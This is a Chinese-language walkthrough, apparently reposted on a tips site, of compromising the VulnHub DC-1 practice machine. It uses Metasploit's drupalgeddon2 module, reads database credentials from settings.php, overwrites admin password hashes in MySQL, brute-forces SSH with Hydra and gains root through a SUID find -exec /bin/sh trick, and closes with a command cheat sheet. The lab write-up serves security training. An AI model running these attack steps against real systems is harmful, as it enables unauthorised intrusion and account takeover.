位置: IT常识 - 正文

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建)

编辑:rootadmin
DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

目录

一. 环境搭建

1. 准备工具

渗透利器kali

DC-1靶场机

2. 安装过程

二. 渗透过程

1. 信息收集

①探测目标IP地址

②探测目标IP开放端口 

③网页信息收集

2. 漏洞查找与利用

①漏洞查找

②漏洞利用

3. Getshell

①获取普通shell

②获取交互shell 

3. 数据库渗透

4. 用户密码爆破

5. Linux提权

三. 收获总结

1. 主机扫描

2. 域名信息收集

3. CMS漏洞找查及利用

4. Getshell

5. Linux特性及相关命令

6. 密码爆破与SSH

7. Linux系统的SUID提权


一. 环境搭建1. 准备工具渗透利器kali

推荐整理分享DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:dc-3靶场,dc-4靶机,搭建dvwa靶场,dc-3靶场,搭建dvwa靶场,dc-4靶机,dc系列靶机,dc-3靶场,内容如对您有帮助,希望把文章链接给更多的朋友!

可参考下面文章进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2. 安装过程

解压后得到个.ova文件

用vm虚拟机打开该文件

设置好相关操作

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考

“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

二. 渗透过程

这一过程需要用到kali,打开我们的渗透利器kali(root模式下)

1. 信息收集①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scanarp-scan -l

该命令是探测当前网段的所有ip地址

然后我们看一下DC靶机的Mac地址

确定了DC主机的IP地址为

192.168.120.128nmap

先看一下kali的ip地址

ifconfig

 再用nmap

nmap -sP 192.168.120.0/24

ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

一样扫出了ip

netdiscovernetdiscover

②探测目标IP开放端口 

用nmap来探测

nmap -sV -p- 192.168.120.128

-sV  扫描目标主机端口上运行的软件信息

-p-  扫描全部端口0-65535

20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看

③网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

当然也可以用kali自带的工具whatweb扫

黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)

whatweb -v 192.168.120.128

 也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令

dirsearch -u 192.168.120.128 -e *

还是扫出了挺多目录的,但是暂时用不到,先放一放 

得到如下信息

CMS是Drupal Apache 2.2.22

PHP 5.4.45

jQuery 1.4.4 

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞 

果然有框架漏洞

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

然后输入命令

search Drupal

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

②漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

 接着看一下该漏洞模块参数

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.120.128

然后再show一下模块参数 

设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell①获取普通shellshell

获取一下普通的shell 

然后执行ls命令

②获取交互shell 

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

tac flag1.txt

查看一下flag1.txt文件

每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

find / -name flag*

 好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat `find / -name settings.php`

这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看

3. 数据库渗透

由上面得到的账号密码登入

mysql -udbuser -pR0ck3t

登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西

show datebases;

 

接着使用改数据库,并查看表 

use drupaldb;show tables;

 

 注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;DC-1靶场搭建及渗透实战详细过程(DC靶场系列)(upload靶场搭建)

得到两个用户 

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China

法一:修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

目录下,我们先退出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 

php /var/www/scripts/password-hash.sh 123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

密码修改成功 

法二:添加admin权限用户 

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

然后看一下那个脚本path

searchsploit 34992.py -p

 

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

 登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

4. 用户密码爆破

事先参考SSH

SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码

(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128

爆破出密码orange,然后我们用kali连接

ssh flag4@192.168.120.128

@192.168.120.128

@目标主机地址

输入orange登入

打开了flag4.txt,emmm其实好像也没啥

5. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" \;

#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /rootlscat *

 

拿到第五个flag啦! 

三. 收获总结1. 主机扫描nmapnmap -sP 网段

Nmap命令详解

arp-scanarp-scan -l

arp-scan命令及ARP含义解释

netdiscovernetdiscover

Netdiscover网络扫描工具

2. 域名信息收集whatwebwhatweb -v 域名

 whatweb详细使用教程

 火绒扩展wappalyzer dirsearchdirsearch -u 域名

目录扫描工具 dirsearch 中文手册

3. CMS漏洞找查及利用Metasploit

先打开MSF控制台 

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

metasploit渗透测试入门

4. Getshell

使用MSF攻击等待主机与目标连接完成后

metasploit获取shell之后的进一步利用

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'5. Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

Linux /etc/passwd内容解释(超详细)

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

Linux /etc/shadow(影子文件)内容解析(超详细)

6. 密码爆破与SSH

爆破工具Hydra

黑客工具之hydra详细使用教程 

以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

SSH简介及两种远程登录的方法

7. Linux系统的SUID提权

简谈SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

find / -perm -4000 2>/dev/null      拆分讲解

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;
本文链接地址:https://www.jiuchutong.com/zhishi/287979.html 转载请保留说明!

上一篇:飞机上可以充电吗(上飞机可以带2个充电宝吗)

下一篇:从奎雷英山口看到的 Leum na Luirginn湖和Cleat湖,英国斯凯岛 (© Sebastian Wasek/Sime/eStock Photo)

  • 外地预缴税金
  • 使用权资产和租赁负债的计税基础
  • 购销合同中印花税怎么计算
  • 个人先进奖励要缴纳个税吗
  • 小规模按季申报 月销售收入不超过
  • 红字信息表跨月撤销和申报
  • 没开发票的收入可以不入账吗
  • 买房时有哪些税要交
  • 什么发票可以冲销
  • 建设工程中税费如何承担
  • 机械租赁费发票图片
  • 增值税专用发票抵扣期限
  • 土地增值税暂行条例实施细则2022
  • 反倾销税税率查询
  • 增值税专用发票怎么开
  • etc在充值后未索取可以再次索取吗
  • 转让境外股权损失能否税前扣除
  • 如何区分纳税调额和补税
  • 收入和成本都是真实发生的但是不匹配
  • linux minor
  • 关闭通知横幅
  • 农业公司收到项目资金
  • 工程服务的采购合同范本
  • 利润是如何转化成平均利润的
  • 资产处置收益期末有余额吗
  • 企业预付保险费怎么做账
  • 研发销售型企业
  • 企业所得税汇算清缴补缴税款分录
  • 最高频率内存条是多少
  • 企业取得的搬迁补贴
  • 一般纳税人购买原材料会计分录
  • 小规模纳税人减免增值税会计处理
  • 小规模纳税人上月发票开错了怎么办
  • 音乐制作人评刀郎新专辑
  • opengl 帧率
  • 低值易耗品需要计提吗
  • 帝国cms界面
  • cgroup限制内存
  • 建筑业 成本
  • 厂区地面硬化属于土建还是市政
  • 公司境外汇款该怎么处理
  • 企业报废车辆如何做账
  • 企业会计准则和企业会计制度的区别
  • 企业所得税的扣除是什么意思
  • 销售自己使用过的固定资产
  • 其他应收款如何计提减值准备
  • 分公司是否能开劳务发票
  • 购买原材料的支出
  • 无形资产摊销如何操作
  • 发票抵扣联认证完还有用吗
  • 信息服务的最终目的是什么
  • 多付款项退回怎么做账
  • 转账支票需要知道开户行吗
  • 食堂如何做账
  • 会计账本怎么记账
  • 大型商业企业
  • 旅游饮食服务企业会计核算的特点包括
  • 公司买支票需要带什么资料
  • mysql uuid分页优化
  • mysql根据另一张表更新
  • win7系统一键还原方法
  • u盘安装win8.1系统教程
  • win2008ie安全设置
  • ubuntu20.04怎么安装
  • macbookpro鼠标触控板
  • linux系统怎么增大磁盘io
  • mysql如何建立数据完整性约束
  • [置顶] 关于在vs2013中配置opengl红宝书第八版环境
  • 示例代码
  • mac安装osx失败
  • javaweb物流管理系统源码
  • unity灯光烘培
  • jquery里的ready是什么意思
  • unity3d功能介绍
  • ASP小贴士/ASP Tips javascript tips可以当桌面
  • staticlayout 换行
  • [置顶]bilinovel
  • jquery动态添加和删除div
  • 税务稽查案件办案程序规定
  • 如何办理股权转让信息登记表
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设